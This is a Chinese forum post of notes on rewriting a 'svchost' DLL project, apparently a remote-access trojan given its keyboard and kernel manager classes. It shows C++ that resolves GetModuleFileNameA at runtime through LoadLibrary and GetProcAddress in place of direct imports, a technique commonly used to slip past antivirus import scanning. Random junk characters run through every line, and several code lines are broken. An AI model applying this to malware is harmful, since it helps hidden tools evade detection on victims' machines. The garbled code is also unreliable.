- 帖子
- 11
- 积分
- 14
- 威望
- 17
- 金钱
- 10
- 在线时间
- 0 小时
|
全局动态调用笔记% U2 F- t8 k z) l
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
8 F0 w: K8 {4 k$ b3 ~# [6 K* ]----------------------------------------9 V' f6 w4 c7 v" B& A2 ]
DTDY.h:
5 u5 S7 p& T0 O& J% C3 N
0 D; d w/ R% u" Q( P2 }5 B#if _MSC_VER>1000
9 H: q* W! P& Y2 q, Z, E& U$ `#pragma once
B7 u2 x+ [1 [#endif //_MSC_VER>1000. t% J, r% c- U% C3 u/ |
#include<windows.h>8 ^0 L" a3 m$ _5 h& v
2 q9 V' C7 i$ j P" Z0 G) s7 `# stypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);# O; G+ V. X5 M0 J
class DTDY t- T! h v/ q' } e
{
* m4 }: q8 c* R9 \( _. Z' l* z# r- T/ gpublic:
& c* i) W0 g' `: d! S0 w UDTDY();
# P% F$ o+ K' q) t* M1 Zvirtual ~DTDY();
6 N. i+ ~5 ?1 f' Ppublic:$ O: j. r1 ]: e8 C7 V. {! S
static pGetModuleFileNameA MyGetModuleFileName;6 z* \3 y0 u# B" Z
static BOOL FunInitiallization();
7 @6 ~2 h9 s5 d8 Y! G1 A" M};
3 W; l5 w* [- z4 D, U p& C9 v& D#endif
$ V" @% _4 C0 z8 q# `3 o6 a/ H% p0 ]+ h----------------------------------------4 s" X+ f, {1 o6 B
6 y, |( s0 z8 cDTDY.cpp:
: ?7 }, v/ G; k/ _/ @8 D2 s, h
2 b" D- A$ ]/ s- u$ R7 L" s/ g#include "DTDY.h"
# p7 f( k* J. i$ ipGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
( C; {1 t$ g( Q7 C+ CDTDY:TDY()
$ ^0 O! ]+ M0 r$ u- H{
8 }& j/ p, n3 I0 F5 @" t* f}/ d+ ~4 ]6 N- \, c+ C
DTDY::~DTDY(); r* W# v; K9 r7 E3 a. C
{, M E W% c. j$ R6 A7 ]
}! K) {% T% k e2 S; u2 Z/ C/ S
BOOL DTDY::FunInitiallization()
4 s1 L, J) W6 i' d* X. `) N{
; }: A2 K5 H# g3 NHMODULE hModule=LoadLibrary("kernel32.dll");! b! R- j9 v2 E+ m
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
$ ^& {' j% i, h. sif(!MyGetModuleFileName=) return FALSE;8 s, e; S. B" m* f' H
9 ` h* T$ g' K$ w2 F5 J3 u
return TRUE;
' A5 n3 N4 Q: p. [, V6 z}3 b v6 i, E+ U) V: `
----------------------------------------- g6 r3 Z. S# w L; N% S0 c7 `
svchost.cpp:; V% M+ M/ Z2 t5 g5 Y
' Q$ h, Z k- O* ]
#include "DTDY.h"& y! S; P# _+ }
0 h- K& W# O- CBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
w9 O9 C) ?/ L( K: m; q{. L! }- R% P3 {6 |
switch(ul_reason_for_call)
) \ W* c- T/ v" k2 ?8 k{2 {+ S) f. t& p/ Q# G4 B; t
case DLL_PROCESS_ATTACH:3 j3 _4 o4 L3 B' A" S) P* Y! ]
if(!DTDY::FunInitiallization()) return FALSE;5 s$ q8 x3 x5 Z' T N
/ `% P5 b* m5 z7 h, }
break;& ]6 f; G5 D2 w( }* Y
}
) N) {# T* R: P}
7 k. J( V6 u. O. e
+ a: z" a1 E8 `8 Z9 `' \ L9 @$ _! W' i: {4 k8 Y9 K O7 T3 `
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def) h8 M( x6 J' d O! H1 [
改写为+ h4 H9 h+ G& K* F
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
/ v" T2 M0 s) B5 T+ n( H! `----------------------------------------" n8 X( q6 Z" a# Q4 n: j
KernelManager.cpp:* n5 U; m! G q! ]9 \
9 T' h; X2 U: p' f0 A/ n#include "../DTDY.h"
. p/ S- O* K4 b8 g# T; Q1 _GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% b0 P* M9 b; h: X" i/ o$ P! Y1 ^
改写为
# ? T4 y' w" f# Q& {% R) Y( WDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));# w/ B! j7 H2 q& \
---------------------------------------- |
|